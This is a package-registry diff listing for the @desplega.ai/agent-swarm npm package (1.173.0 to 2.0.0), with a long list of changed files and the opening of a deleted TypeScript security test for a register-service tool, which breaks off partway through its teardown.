@desplega.ai/agent-swarm 1.173.0 → 2.0.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/README.md +1 -1
- package/dist/{acp-adapter-ccm9xrep.js → acp-adapter-sj2g0m84.js} +17 -16
- package/dist/{actions-sgeyv08k.js → actions-fegk44gr.js} +39 -34
- package/dist/{amp-adapter-gpxp3kc9.js → amp-adapter-ad8ft89x.js} +8 -7
- package/dist/{app-km9qnv2f.js → app-kfvgbvzy.js} +18 -14
- package/dist/{assistant-5r8tcvvd.js → assistant-z7zdy9ja.js} +40 -35
- package/dist/{boot-reembed-swwzdgd7.js → boot-reembed-5c2z0mbe.js} +10 -9
- package/dist/{boot-reembed-16rv9843.js → boot-reembed-j8xa181e.js} +10 -9
- package/dist/{boot-scrub-sweep-zkr6vkqb.js → boot-scrub-sweep-hnkn3rgt.js} +11 -10
- package/dist/{boot-seeds-d8sp49t2.js → boot-seeds-kwjq4d2z.js} +14 -13
- package/dist/{claude-adapter-yzzzh8jp.js → claude-adapter-9vmvpvgd.js} +19 -18
- package/dist/{claude-managed-adapter-xgxhqrt2.js → claude-managed-adapter-k9qae05j.js} +7 -5
- package/dist/{claude-managed-setup-bnmjarjc.js → claude-managed-setup-q54zx5q2.js} +6 -4
- package/dist/{claude-sdk-session-4whxere4.js → claude-sdk-session-9jye6cxr.js} +11881 -11472
- package/dist/{cli-94b48jhk.js → cli-03gedhng.js} +16 -14
- package/dist/{cli-1w0vj3gw.js → cli-1e4b6bzh.js} +7 -7
- package/dist/{cli-d603qf86.js → cli-29jc5q7w.js} +10 -8
- package/dist/cli-2m1ktfzz.js +17795 -0
- package/dist/{cli-x119kdba.js → cli-3dj8k4vy.js} +1 -1
- package/dist/{cli-srqq3gc5.js → cli-3fbmmawm.js} +5 -5
- package/dist/{cli-gmdajfw5.js → cli-4jxm2qtz.js} +4987 -1708
- package/dist/{cli-tadfgd0t.js → cli-5hkm7whv.js} +33 -4
- package/dist/{cli-42qhyvwx.js → cli-5t4f29ez.js} +3 -3
- package/dist/{cli-7a0sde2x.js → cli-6cagzc96.js} +9 -0
- package/dist/cli-6cvfxs8r.js +47 -0
- package/dist/{cli-0kxf81jj.js → cli-6jyj59nb.js} +2 -2
- package/dist/{cli-w1apjecb.js → cli-6razj6t4.js} +2 -2
- package/dist/{cli-anzdk0z4.js → cli-74ahz61x.js} +2 -2
- package/dist/{cli-m89t9jdf.js → cli-7x0g4sn1.js} +15416 -16024
- package/dist/{cli-yatxqynm.js → cli-9ha6hs2d.js} +1 -290
- package/dist/{cli-81r1wjyv.js → cli-9nfx44eh.js} +1 -1
- package/dist/cli-9traj3dn.js +638 -0
- package/dist/{cli-smcrrmhy.js → cli-agzebbd5.js} +9 -9
- package/dist/{cli-na2pxe4f.js → cli-apx87jne.js} +2 -2
- package/dist/{cli-rfz2ve55.js → cli-bzszjf2p.js} +2855 -862
- package/dist/{cli-c5km5znr.js → cli-c8r3kzzb.js} +1 -1
- package/dist/{cli-hsem16hb.js → cli-cgtksawx.js} +7 -4
- package/dist/{cli-db3m6zdt.js → cli-d2qr7aj4.js} +1 -1
- package/dist/{cli-rfs4vddv.js → cli-d5f9ed5c.js} +5 -5
- package/dist/cli-e3g5mbkz.js +776 -0
- package/dist/{cli-7jykv7ef.js → cli-e6mpjhed.js} +1 -1
- package/dist/{cli-7a93cv8c.js → cli-ee9gtz70.js} +98 -23
- package/dist/{cli-3nxdmjrc.js → cli-eejsgvm4.js} +4 -4
- package/dist/{cli-fmhj1ehj.js → cli-ef1hg1wv.js} +470 -51
- package/dist/cli-f527ce74.js +781 -0
- package/dist/{cli-ppy4nnnh.js → cli-f7kr7svz.js} +2 -2
- package/dist/cli-hjwmhcg1.js +10622 -0
- package/dist/{cli-2bw3w47j.js → cli-hnhtk6cj.js} +1 -1
- package/dist/{cli-ywm1azg9.js → cli-hnmhtzvh.js} +6 -4
- package/dist/{cli-h7k0xtry.js → cli-hvqbtna4.js} +4 -1256
- package/dist/{cli-s8z6x4b4.js → cli-j0pfptdp.js} +218 -102
- package/dist/cli-jta2eyzc.js +619 -0
- package/dist/{cli-5er5gjbm.js → cli-k382tshb.js} +10 -11
- package/dist/{cli-v3zhnxsb.js → cli-k3dp5tpf.js} +2 -2
- package/dist/{cli-wd0hz6ah.js → cli-kbrt8gqa.js} +9 -91
- package/dist/cli-kceah1eh.js +92 -0
- package/dist/{cli-ne7smj1b.js → cli-ke896fcf.js} +10 -10
- package/dist/{cli-xc7p7s3g.js → cli-kt6zqg0e.js} +6 -6
- package/dist/{cli-wrh08zjd.js → cli-m50t4309.js} +5 -18
- package/dist/cli-n2wq4j7m.js +6985 -0
- package/dist/{cli-bv2etw2y.js → cli-n3hzg89b.js} +46 -15
- package/dist/{cli-tmhsxhb8.js → cli-n5vwg842.js} +23 -6
- package/dist/{cli-qm1448f9.js → cli-ne236afy.js} +8 -8
- package/dist/{cli-d161g69q.js → cli-p1x85d2t.js} +50 -2
- package/dist/{cli-7pz3b7x5.js → cli-przpmdgr.js} +25 -0
- package/dist/{cli-0a7mm3zp.js → cli-q0ke1yww.js} +25 -21
- package/dist/{cli-e3pmyt39.js → cli-q50942rs.js} +1 -1
- package/dist/{cli-r44t9wqc.js → cli-r106725k.js} +2 -2
- package/dist/{cli-phcqp1b9.js → cli-r2pnvj8g.js} +2 -2
- package/dist/{cli-jpc4r224.js → cli-r62a35ea.js} +19 -3
- package/dist/{cli-cd0hv9nh.js → cli-ra0xzggj.js} +2 -2
- package/dist/cli-rhs9pz33.js +294 -0
- package/dist/{cli-r4fqfpwf.js → cli-s2sp957d.js} +50 -27
- package/dist/{cli-1x7da0de.js → cli-s4setq91.js} +8 -8
- package/dist/{cli-6thk4jz3.js → cli-se8w6wny.js} +6 -6
- package/dist/cli-skxvvpap.js +10140 -0
- package/dist/{cli-014vns2y.js → cli-stfs0k5s.js} +208 -525
- package/dist/{cli-0p3enk35.js → cli-tqaazemc.js} +9 -1
- package/dist/{cli-nwrdx840.js → cli-tr4sxp68.js} +3 -3
- package/dist/{cli-r0byd61h.js → cli-tsde1hdr.js} +15 -15
- package/dist/{cli-b07hr3bt.js → cli-txqb9s38.js} +2 -2
- package/dist/{cli-6r2f7edk.js → cli-v1yb0rqb.js} +6 -6
- package/dist/{cli-saqyage0.js → cli-vatyhshy.js} +179 -27
- package/dist/{cli-5wpw4rab.js → cli-vdach5a9.js} +5 -5
- package/dist/{cli-7avy4v8w.js → cli-w1q7h2r2.js} +5 -3
- package/dist/{cli-rcp5aqdw.js → cli-w7m81tb7.js} +1 -1
- package/dist/{cli-c3rk1v0x.js → cli-wayw93nt.js} +3 -3
- package/dist/cli-wmgrkscj.js +23254 -0
- package/dist/{cli-9xf7fdtp.js → cli-z5jjpaxw.js} +29 -6
- package/dist/{cli-451ks6aw.js → cli-zkpks3r3.js} +1 -1
- package/dist/cli.js +29 -45
- package/dist/{codex-adapter-r3dn4fp5.js → codex-adapter-y81sssk0.js} +15 -14
- package/dist/{codex-login-841kv5fk.js → codex-login-f2rcfpp9.js} +3 -2
- package/dist/{codex-session-runner-fwt793h4.js → codex-session-runner-8vx4j6a9.js} +15 -14
- package/dist/{commands-z8fq9qna.js → commands-kcpvpcrr.js} +11 -10
- package/dist/{controller-hq5ggpcp.js → controller-ywrmt6yd.js} +5 -4
- package/dist/{controllers-connect-3mf2btyj.js → controllers-connect-kwpvj3rf.js} +42 -37
- package/dist/{cursor-adapter-q8pgv5qa.js → cursor-adapter-cehv1qns.js} +7 -6
- package/dist/{db-yyhqqrbf.js → db-k8ankj20.js} +12 -11
- package/dist/{db-qfpq4bt7.js → db-ww5d7jq3.js} +28 -9
- package/dist/{devin-adapter-xgtj680j.js → devin-adapter-x1022qb1.js} +3 -2
- package/dist/{dispatcher-x0x7qfcq.js → dispatcher-e8gq5m68.js} +38 -33
- package/dist/{docker-f503k9p0.js → docker-ff6y1190.js} +3 -2
- package/dist/{dsh-adapter-34etvb5m.js → dsh-adapter-3epjm3af.js} +7 -6
- package/dist/{e2b-66xra4az.js → e2b-8ygwhg0f.js} +4 -3
- package/dist/{e2b-xwhyj8cw.js → e2b-swhnpw3n.js} +4 -3
- package/dist/{event-bus-vjtv82gm.js → event-bus-6axnngdj.js} +3 -2
- package/dist/{external-channel-h1fjecwe.js → external-channel-h3359cwn.js} +11 -10
- package/dist/{google-generative-ai-szdxbpqg.js → google-generative-ai-g8db7x0f.js} +4 -2
- package/dist/{google-vertex-qzw3p36d.js → google-vertex-r2692q0r.js} +4 -2
- package/dist/{grok-adapter-e7mr287e.js → grok-adapter-0d4x7gkx.js} +18 -17
- package/dist/{handlers-znb9n7d4.js → handlers-an1gzv21.js} +41 -36
- package/dist/{heartbeat-bm4qkn8d.js → heartbeat-6dakeb61.js} +43 -38
- package/dist/{hook-254r4mza.js → hook-6v6cv6d5.js} +11 -23
- package/dist/{hook-xaa3q80s.js → hook-sa5xye4y.js} +12 -11
- package/dist/{http-3dgrgp8y.js → http-r7f3eky0.js} +1499 -251
- package/dist/index-52j1aja4.js +3465 -0
- package/dist/{index-fx3jqq1e.js → index-7ep4gzdk.js} +38 -33
- package/dist/index-9gw58n4k.js +193 -0
- package/dist/index-9j87mcm8.js +56305 -0
- package/dist/index-bsmcresk.js +79424 -0
- package/dist/index-mh85qhec.js +475 -0
- package/dist/{index-g2byveez.js → index-rmpw9a8q.js} +38 -33
- package/dist/{index-2ybk7khy.js → index-s2wxgzr0.js} +468 -683
- package/dist/{index-bdsqa799.js → index-v1v6n7hg.js} +43 -38
- package/dist/index-we27kd31.js +12810 -0
- package/dist/{index-jd7sejm2.js → index-zk96aq1k.js} +10 -9
- package/dist/{keepalive-6ywhpja1.js → keepalive-be9vwy5h.js} +12 -11
- package/dist/{lead-cw45n21s.js → lead-0861cwrf.js} +61 -56
- package/dist/{maintenance-ss1a1ge9.js → maintenance-mzzgc8bn.js} +10 -9
- package/dist/{node-fkajaq96.js → node-mn1zs7an.js} +2 -1
- package/dist/{oauth-refresh-sweep-3c6f8vyy.js → oauth-refresh-sweep-cpdnfwdj.js} +11 -10
- package/dist/{onboard-8hzdhc1k.js → onboard-fh8qs4r3.js} +11 -3
- package/dist/{opencode-adapter-qbchbcfz.js → opencode-adapter-nm42wwj8.js} +18 -13
- package/dist/{otel-impl-e6mnvc4v.js → otel-impl-x6c1c9g4.js} +242 -868
- package/dist/{pi-mono-adapter-3c9g9snh.js → pi-mono-adapter-9n2ya240.js} +244 -106
- package/dist/{pricing-refresh-gedkjdw0.js → pricing-refresh-qb0rv0ap.js} +12 -11
- package/dist/{rbac-roles-dt4vh1yy.js → rbac-roles-1gzdwbh1.js} +11 -10
- package/dist/{rbac-roles-eszdg6pm.js → rbac-roles-3mraey52.js} +12 -11
- package/dist/{render-v2-907cy6sa.js → render-v2-agpa45zz.js} +18 -14
- package/dist/{resume-42stcaz0.js → resume-x0ydy9s9.js} +25 -21
- package/dist/{runtime-qfry88v2.js → runtime-sa2vr16g.js} +2 -2
- package/dist/{setup-adbc1c10.js → setup-as9ga0d6.js} +2 -2
- package/dist/{virtual-modules-rtmt494q.js → virtual-modules-9gkxqrap.js} +6 -5
- package/dist/{work-objects-wpj8ck95.js → work-objects-y5g1y7ev.js} +41 -36
- package/dist/{worker-bzdra9rf.js → worker-860c3e38.js} +61 -56
- package/dist/{x-qfmygqqv.js → x-m477fr0h.js} +3 -2
- package/openapi.json +523 -344
- package/package.json +10 -11
- package/src/be/config-refs.ts +60 -0
- package/src/be/db/page-versions.ts +15 -0
- package/src/be/db/runtime.ts +35 -8
- package/src/be/db/skill-name-resolution.ts +36 -0
- package/src/be/db/tasks/read.ts +230 -0
- package/src/be/db/tasks/write.ts +7 -0
- package/src/be/db.ts +52 -7
- package/src/be/migrations/215_swarm_config_export_to_env.sql +34 -0
- package/src/be/migrations/216_task_resolved_effort.sql +5 -0
- package/src/be/migrations/217_chat_sdk_state.sql +104 -0
- package/src/be/model-catalog-store.ts +5 -1
- package/src/be/model-tier-resolution.ts +12 -1
- package/src/be/model-validation.ts +5 -2
- package/src/be/models-catalog.ts +26 -1
- package/src/be/modelsdev-cache.json +198 -63
- package/src/be/modelsdev-cache.ts +9 -1
- package/src/be/script-credential-broker.ts +39 -2
- package/src/be/scripts/run-saved.ts +1 -0
- package/src/be/scripts/typecheck.ts +10 -8
- package/src/be/seed/runner.ts +13 -1
- package/src/be/seed/state-db.ts +5 -0
- package/src/be/seed/types.ts +6 -0
- package/src/be/seed-pricing.ts +19 -2
- package/src/be/seed-scripts/catalog/ops-catalog-audit.inline.ts +1 -1
- package/src/be/seed-scripts/catalog/ops-catalog-audit.ts +1 -1
- package/src/be/seed-skills/bundled-files.generated.json +0 -18
- package/src/be/seed-skills/index.ts +104 -3
- package/src/be/swarm-config-guard.ts +52 -0
- package/src/cli.tsx +0 -16
- package/src/commands/onboard/non-interactive.ts +4 -2
- package/src/commands/provider-credentials.ts +52 -6
- package/src/commands/runner.ts +190 -54
- package/src/e2b/env.ts +5 -0
- package/src/extensions/contract-types.generated.ts +1 -1
- package/src/extensions/contract.ts +45 -0
- package/src/extensions/dispatcher.ts +7 -0
- package/src/extensions/post-bridge.ts +40 -0
- package/src/github/handlers.ts +11 -4
- package/src/heartbeat/templates.ts +8 -5
- package/src/hooks/hook.ts +0 -26
- package/src/http/all-routes.ts +0 -1
- package/src/http/config.ts +36 -17
- package/src/http/core.ts +4 -0
- package/src/http/index.ts +14 -2
- package/src/http/integrations.ts +88 -1
- package/src/http/mcp.ts +15 -5
- package/src/http/page-proxy.ts +2 -4
- package/src/http/pages-public.ts +3 -3
- package/src/http/pages.ts +3 -13
- package/src/http/poll.ts +28 -68
- package/src/http/requested-by.ts +54 -0
- package/src/http/scripts.ts +1 -0
- package/src/http/stats.ts +1 -30
- package/src/http/tasks.ts +61 -5
- package/src/http/utils.ts +14 -0
- package/src/http/webhooks.ts +159 -1
- package/src/http/x.ts +1 -0
- package/src/integrations/chat-sdk/adapters.ts +129 -0
- package/src/integrations/chat-sdk/attachments.ts +232 -0
- package/src/integrations/chat-sdk/background.ts +36 -0
- package/src/integrations/chat-sdk/commands.ts +194 -0
- package/src/integrations/chat-sdk/config.ts +198 -0
- package/src/integrations/chat-sdk/discord-api.ts +63 -0
- package/src/integrations/chat-sdk/discord-gateway.ts +185 -0
- package/src/integrations/chat-sdk/handlers.ts +28 -0
- package/src/integrations/chat-sdk/inbound.ts +426 -0
- package/src/integrations/chat-sdk/limits.ts +48 -0
- package/src/integrations/chat-sdk/logger.ts +81 -0
- package/src/integrations/chat-sdk/outbound.ts +123 -0
- package/src/integrations/chat-sdk/relay.ts +172 -0
- package/src/integrations/chat-sdk/router.ts +169 -0
- package/src/integrations/chat-sdk/runtime.ts +351 -0
- package/src/integrations/chat-sdk/schema.ts +245 -0
- package/src/integrations/chat-sdk/state.ts +243 -0
- package/src/integrations/chat-sdk/status.ts +244 -0
- package/src/integrations/chat-sdk/steering.ts +58 -0
- package/src/integrations/chat-sdk/teams-origin.ts +77 -0
- package/src/integrations/chat-sdk/telegram-api.ts +56 -0
- package/src/integrations/chat-sdk/templates.ts +16 -0
- package/src/integrations/chat-sdk/test-hooks.ts +37 -0
- package/src/integrations/chat-sdk/thread-buffer.ts +100 -0
- package/src/integrations/chat-sdk/typing.ts +65 -0
- package/src/pages/version.ts +4 -5
- package/src/prompts/base-prompt.ts +111 -45
- package/src/providers/acp-target-catalog.ts +6 -0
- package/src/providers/acp-targets.ts +55 -2
- package/src/providers/amp-adapter.ts +1 -1
- package/src/providers/claude-adapter.ts +1 -1
- package/src/providers/claude-flag-settings.ts +17 -5
- package/src/providers/claude-managed-adapter.ts +1 -1
- package/src/providers/claude-session-events.ts +6 -1
- package/src/providers/dsh-adapter.ts +1 -1
- package/src/providers/opencode-adapter.ts +243 -26
- package/src/providers/opencode-swarm-plugin.ts +31 -0
- package/src/providers/pi-mono-adapter.ts +398 -153
- package/src/providers/pricing-sources.md +33 -2
- package/src/providers/reasoning-effort.ts +27 -0
- package/src/providers/types.ts +6 -2
- package/src/rbac/legacy-policy.ts +8 -2
- package/src/rbac/permissions.ts +21 -0
- package/src/scheduler/scheduler.ts +4 -2
- package/src/scripts-runtime/loader.ts +19 -7
- package/src/scripts-runtime/sdk-allowlist.ts +8 -6
- package/src/scripts-runtime/swarm-sdk.ts +0 -11
- package/src/scripts-runtime/types/stdlib.d.ts +27 -15
- package/src/scripts-runtime/types/swarm-extension.d.ts +63 -1
- package/src/scripts-runtime/types/swarm-sdk.d.ts +27 -15
- package/src/server.ts +52 -18
- package/src/slack/event-dedup.ts +1 -1
- package/src/tasks/additive-buffer.ts +4 -2
- package/src/tasks/context-key.ts +60 -1
- package/src/tasks/model-pin.ts +67 -0
- package/src/tasks/worker-follow-up.ts +4 -31
- package/src/tests/acp-adapter.test.ts +42 -0
- package/src/tests/api-drain-worker-e2e.test.ts +1 -6
- package/src/tests/base-prompt.test.ts +58 -54
- package/src/tests/chat-sdk-commands.test.ts +191 -0
- package/src/tests/chat-sdk-config.test.ts +334 -0
- package/src/tests/chat-sdk-discord-api.test.ts +68 -0
- package/src/tests/chat-sdk-discord-gateway.test.ts +252 -0
- package/src/tests/chat-sdk-discord-webhook.test.ts +126 -0
- package/src/tests/chat-sdk-fields-sync.test.ts +50 -0
- package/src/tests/chat-sdk-harness.ts +146 -0
- package/src/tests/chat-sdk-inbound.test.ts +363 -0
- package/src/tests/chat-sdk-relay.test.ts +470 -0
- package/src/tests/chat-sdk-reload.test.ts +128 -0
- package/src/tests/chat-sdk-shutdown.test.ts +220 -0
- package/src/tests/chat-sdk-slack.test.ts +268 -0
- package/src/tests/chat-sdk-state.test.ts +163 -0
- package/src/tests/chat-sdk-status-route.test.ts +382 -0
- package/src/tests/chat-sdk-teams.test.ts +277 -0
- package/src/tests/chat-sdk-tools.test.ts +520 -0
- package/src/tests/chat-sdk-typing.test.ts +120 -0
- package/src/tests/chat-sdk-webhook-telegram.test.ts +200 -0
- package/src/tests/claude-adapter-binary.test.ts +9 -4
- package/src/tests/claude-flag-settings.test.ts +11 -3
- package/src/tests/claude-managed-adapter.test.ts +1 -1
- package/src/tests/claude-sdk-lifecycle.test.ts +9 -3
- package/src/tests/claude-thinking-tokens.test.ts +57 -0
- package/src/tests/claude-worker-parity.test.ts +2 -7
- package/src/tests/config-env-export-chat-sdk.test.ts +11 -0
- package/src/tests/config-refs.test.ts +66 -0
- package/src/tests/context-key.test.ts +19 -0
- package/src/tests/cors-allowlist.test.ts +25 -0
- package/src/tests/create-page-tool.test.ts +18 -0
- package/src/tests/credential-check.test.ts +139 -0
- package/src/tests/credentials.test.ts +21 -0
- package/src/tests/db-runtime.test.ts +61 -0
- package/src/tests/db-task-read-contract.test.ts +20 -0
- package/src/tests/db-task-write-contract.test.ts +10 -0
- package/src/tests/docs-index-footprint.test.js +3 -3
- package/src/tests/dsh-adapter.test.ts +1 -1
- package/src/tests/enabled-capabilities.test.ts +20 -0
- package/src/tests/entrypoint-api-readiness.test.ts +14 -8
- package/src/tests/entrypoint-config-env-export.test.ts +5 -2
- package/src/tests/entrypoint-export-to-env.test.ts +78 -0
- package/src/tests/explicit-model-validation.test.ts +105 -1
- package/src/tests/extensions-example-route-chat-channel.test.ts +154 -0
- package/src/tests/extensions-post-bridge.test.ts +51 -0
- package/src/tests/fetch-resolved-env.test.ts +128 -0
- package/src/tests/fixtures/chat-sdk/telegram-private-text.json +10 -0
- package/src/tests/fixtures/extensions/route-chat-channel-to-agent/hooks.ts +27 -0
- package/src/tests/fixtures/extensions/route-chat-channel-to-agent/manifest.json +9 -0
- package/src/tests/fixtures/openai-compatible-registry-extension.child.ts +146 -0
- package/src/tests/fixtures/runner-legacy-resume-prompt.ts +122 -0
- package/src/tests/github-handlers.test.ts +35 -0
- package/src/tests/harness-provider-resolution.test.ts +12 -0
- package/src/tests/heartbeat-checklist.test.ts +3 -2
- package/src/tests/hook-runtime-close.test.ts +0 -2
- package/src/tests/http-api-integration.test.ts +0 -25
- package/src/tests/migration-046-budgets.test.ts +17 -16
- package/src/tests/migration-217-chat-sdk-state.test.ts +113 -0
- package/src/tests/model-tier-resolution.test.ts +93 -0
- package/src/tests/models-catalog.test.ts +42 -1
- package/src/tests/openai-compatible-providers.test.ts +134 -0
- package/src/tests/openai-compatible-registry-extension.test.ts +42 -0
- package/src/tests/opencode-adapter.test.ts +216 -2
- package/src/tests/opencode-helmcode-sdk.test.ts +201 -0
- package/src/tests/opencode-shell-env.test.ts +145 -0
- package/src/tests/openrouter-base-url.test.ts +101 -151
- package/src/tests/page-proxy.test.ts +1 -1
- package/src/tests/pages-browser-sdk.test.ts +76 -0
- package/src/tests/pages-feedback.test.ts +1 -1
- package/src/tests/paused-tasks-requested-by.test.ts +102 -0
- package/src/tests/pi-custom-provider-fake-server.test.ts +442 -0
- package/src/tests/pi-mono-adapter.test.ts +385 -5
- package/src/tests/pi-shell-env.test.ts +170 -0
- package/src/tests/prompt-template-remaining.test.ts +35 -0
- package/src/tests/rbac-engine.test.ts +11 -3
- package/src/tests/runner-exit-after-tasks.test.ts +0 -4
- package/src/tests/runner-legacy-resume-prompt.test.ts +64 -0
- package/src/tests/script-connections.test.ts +2 -0
- package/src/tests/scripts-http.test.ts +201 -1
- package/src/tests/scripts-only-gating.test.ts +2 -3
- package/src/tests/scripts-runtime.test.ts +58 -40
- package/src/tests/secret-scrubber.test.ts +86 -0
- package/src/tests/seed-skills-bundled-files.test.ts +45 -53
- package/src/tests/seed-skills-retire.test.ts +182 -0
- package/src/tests/send-task-requester-gate.test.ts +58 -0
- package/src/tests/session-cost-recompute-unit.test.ts +46 -0
- package/src/tests/skill-get-name-resolution.test.ts +137 -0
- package/src/tests/sonnet-5-5-registry.test.ts +9 -1
- package/src/tests/swarm-config-export-to-env.test.ts +267 -0
- package/src/tests/swarm-config-reserved-keys.test.ts +16 -0
- package/src/tests/swarm-diff.test.ts +1 -1
- package/src/tests/task-model-effort-rerun.test.ts +164 -0
- package/src/tests/task-session-prompts.test.ts +132 -0
- package/src/tests/task-tool-manifest.test.ts +14 -0
- package/src/tests/task-tools-ctx.test.ts +2 -0
- package/src/tests/tool-annotations.test.ts +6 -6
- package/src/tests/ui-logs-parser.test.ts +43 -0
- package/src/tests/used-by-route.test.ts +6 -0
- package/src/tests/vercel-ai-gateway.test.ts +149 -0
- package/src/tests/workflow-swarm-script.test.ts +38 -0
- package/src/tests/workflow-wait-filter.test.ts +5 -3
- package/src/tools/chat-access.ts +41 -0
- package/src/tools/chat-open-dm.ts +59 -0
- package/src/tools/chat-post.ts +74 -0
- package/src/tools/chat-read-thread.ts +100 -0
- package/src/tools/chat-reply.ts +75 -0
- package/src/tools/create-page.ts +3 -13
- package/src/tools/model-catalog/index.ts +2 -1
- package/src/tools/register-chat-channel.ts +139 -0
- package/src/tools/send-task.ts +24 -0
- package/src/tools/skills/skill-get.ts +17 -9
- package/src/tools/swarm-config/get-config.ts +2 -1
- package/src/tools/swarm-config/list-config.ts +2 -1
- package/src/tools/swarm-config/set-config.ts +16 -3
- package/src/tools/tool-config.ts +8 -6
- package/src/types.ts +12 -2
- package/src/utils/config-env-export.ts +74 -0
- package/src/utils/credentials.test.ts +92 -0
- package/src/utils/credentials.ts +52 -4
- package/src/utils/harness-provider.ts +15 -6
- package/src/utils/runtime-model-catalog.ts +11 -1
- package/src/utils/secret-scrubber.ts +71 -2
- package/src/utils/task-tool-manifest.ts +19 -2
- package/src/workflows/executors/swarm-script.ts +1 -0
- package/templates/skills/agent-browser/SKILL.md +1 -1
- package/templates/skills/agent-browser/content.md +1 -1
- package/templates/skills/apps/SKILL.md +8 -1
- package/templates/skills/apps/content.md +8 -1
- package/templates/skills/chat-sdk/config.json +14 -0
- package/templates/skills/chat-sdk/content.md +84 -0
- package/templates/skills/composio-gmail/content.md +7 -0
- package/templates/skills/composio-google-docs/content.md +1 -1
- package/templates/skills/email-domain-health/config.json +14 -0
- package/templates/skills/email-domain-health/content.md +131 -0
- package/templates/skills/kv-storage/content.md +2 -2
- package/templates/skills/pages/content.md +8 -10
- package/templates/skills/swarm-extensions/content.md +2 -0
- package/templates/skills/swarm-scripts/SKILL.md +4 -2
- package/templates/skills/swarm-scripts/config.json +1 -1
- package/templates/skills/swarm-scripts/content.md +4 -2
- package/templates/skills/workflow-iterate/content.md +38 -0
- package/dist/artifact-eczsknc3.js +0 -3843
- package/dist/cli-bd957dgb.js +0 -153
- package/dist/cli-q51yprfq.js +0 -1104
- package/dist/cli-t1ze64h3.js +0 -811
- package/dist/cli-tcc4wd5d.js +0 -56471
- package/dist/index-9ch1n761.js +0 -1102
- package/src/artifact-sdk/index.ts +0 -2
- package/src/artifact-sdk/localtunnel.d.ts +0 -20
- package/src/artifact-sdk/port.ts +0 -12
- package/src/artifact-sdk/server.ts +0 -183
- package/src/artifact-sdk/tunnel.ts +0 -19
- package/src/commands/artifact.ts +0 -249
- package/src/http/ecosystem.ts +0 -77
- package/src/tests/artifact-commands.test.ts +0 -92
- package/src/tests/artifact-sdk.test.ts +0 -793
- package/src/tests/register-service-security.test.ts +0 -194
- package/src/tools/list-services.ts +0 -107
- package/src/tools/register-service.ts +0 -177
- package/src/tools/unregister-service.ts +0 -73
- package/src/tools/update-service-status.ts +0 -96
- package/templates/skills/artifacts/config.json +0 -14
- package/templates/skills/artifacts/content.md +0 -344
- package/templates/skills/artifacts/files/examples/approval-flow.ts +0 -34
- package/templates/skills/artifacts/files/examples/hono-dashboard.ts +0 -31
- package/templates/skills/artifacts/files/examples/multi-artifact.ts +0 -20
- package/templates/skills/artifacts/files/examples/static-report.sh +0 -17
- /package/src/{artifact-sdk → pages}/browser-sdk.ts +0 -0
- /package/src/{artifact-sdk → pages}/feedback-overlay.ts +0 -0
|
@@ -1,194 +0,0 @@
|
|
|
1
|
-
import { afterAll, beforeAll, describe, expect, test } from "bun:test";
|
|
2
|
-
import { unlink } from "node:fs/promises";
|
|
3
|
-
import type { IncomingMessage, ServerResponse } from "node:http";
|
|
4
|
-
import { McpServer } from "@modelcontextprotocol/sdk/server/mcp.js";
|
|
5
|
-
import type { CallToolResult } from "@modelcontextprotocol/sdk/types.js";
|
|
6
|
-
import { closeDb, createAgent, createService, getServiceByAgentAndName, initDb } from "../be/db";
|
|
7
|
-
import { handleEcosystem } from "../http/ecosystem";
|
|
8
|
-
import { registerRegisterServiceTool } from "../tools/register-service";
|
|
9
|
-
|
|
10
|
-
const TEST_DB_PATH = "./test-register-service-security.sqlite";
|
|
11
|
-
|
|
12
|
-
const WORKER_ID = "22222222-2222-4222-8222-222222222222";
|
|
13
|
-
const OTHER_WORKER_ID = "33333333-3333-4333-8333-333333333333";
|
|
14
|
-
|
|
15
|
-
type RegisteredTool = {
|
|
16
|
-
handler: (args: unknown, extra: unknown) => Promise<CallToolResult>;
|
|
17
|
-
};
|
|
18
|
-
|
|
19
|
-
function callRegisterService(args: Record<string, unknown>, callerAgentId = WORKER_ID) {
|
|
20
|
-
const server = new McpServer({ name: "test-register-service", version: "1.0.0" });
|
|
21
|
-
registerRegisterServiceTool(server);
|
|
22
|
-
|
|
23
|
-
const tools = (server as unknown as { _registeredTools: Record<string, RegisteredTool> })
|
|
24
|
-
._registeredTools;
|
|
25
|
-
const tool = tools["register-service"];
|
|
26
|
-
if (!tool) throw new Error("register-service not registered");
|
|
27
|
-
|
|
28
|
-
return tool.handler(args, {
|
|
29
|
-
sessionId: "test-session",
|
|
30
|
-
requestInfo: { headers: { "x-agent-id": callerAgentId } },
|
|
31
|
-
});
|
|
32
|
-
}
|
|
33
|
-
|
|
34
|
-
function structuredOf(result: CallToolResult) {
|
|
35
|
-
return result.structuredContent as {
|
|
36
|
-
success: boolean;
|
|
37
|
-
message: string;
|
|
38
|
-
service?: {
|
|
39
|
-
agentId: string;
|
|
40
|
-
name: string;
|
|
41
|
-
script: string;
|
|
42
|
-
interpreter?: string;
|
|
43
|
-
args?: string[];
|
|
44
|
-
};
|
|
45
|
-
};
|
|
46
|
-
}
|
|
47
|
-
|
|
48
|
-
async function getEcosystemFor(agentId: string) {
|
|
49
|
-
let statusCode = 0;
|
|
50
|
-
let body = "";
|
|
51
|
-
const req = { method: "GET" } as IncomingMessage;
|
|
52
|
-
const res = {
|
|
53
|
-
writeHead(status: number) {
|
|
54
|
-
statusCode = status;
|
|
55
|
-
return this;
|
|
56
|
-
},
|
|
57
|
-
end(chunk?: unknown) {
|
|
58
|
-
body = String(chunk ?? "");
|
|
59
|
-
return this;
|
|
60
|
-
},
|
|
61
|
-
} as unknown as ServerResponse;
|
|
62
|
-
|
|
63
|
-
const handled = await handleEcosystem(req, res, ["ecosystem"], agentId);
|
|
64
|
-
return {
|
|
65
|
-
handled,
|
|
66
|
-
statusCode,
|
|
67
|
-
body: JSON.parse(body) as { apps: Array<Record<string, unknown>> },
|
|
68
|
-
};
|
|
69
|
-
}
|
|
70
|
-
|
|
71
|
-
beforeAll(async () => {
|
|
72
|
-
for (const suffix of ["", "-wal", "-shm"]) {
|
|
73
|
-
try {
|
|
74
|
-
await unlink(TEST_DB_PATH + suffix);
|
|
75
|
-
} catch {}
|
|
76
|
-
}
|
|
77
|
-
closeDb();
|
|
78
|
-
initDb(TEST_DB_PATH);
|
|
79
|
-
await createAgent({ id: WORKER_ID, name: "Test Worker", isLead: false, status: "idle" });
|
|
80
|
-
await createAgent({ id: OTHER_WORKER_ID, name: "Other Worker", isLead: false, status: "idle" });
|
|
81
|
-
});
|
|
82
|
-
|
|
83
|
-
afterAll(async () => {
|
|
84
|
-
closeDb();
|
|
85
|
-
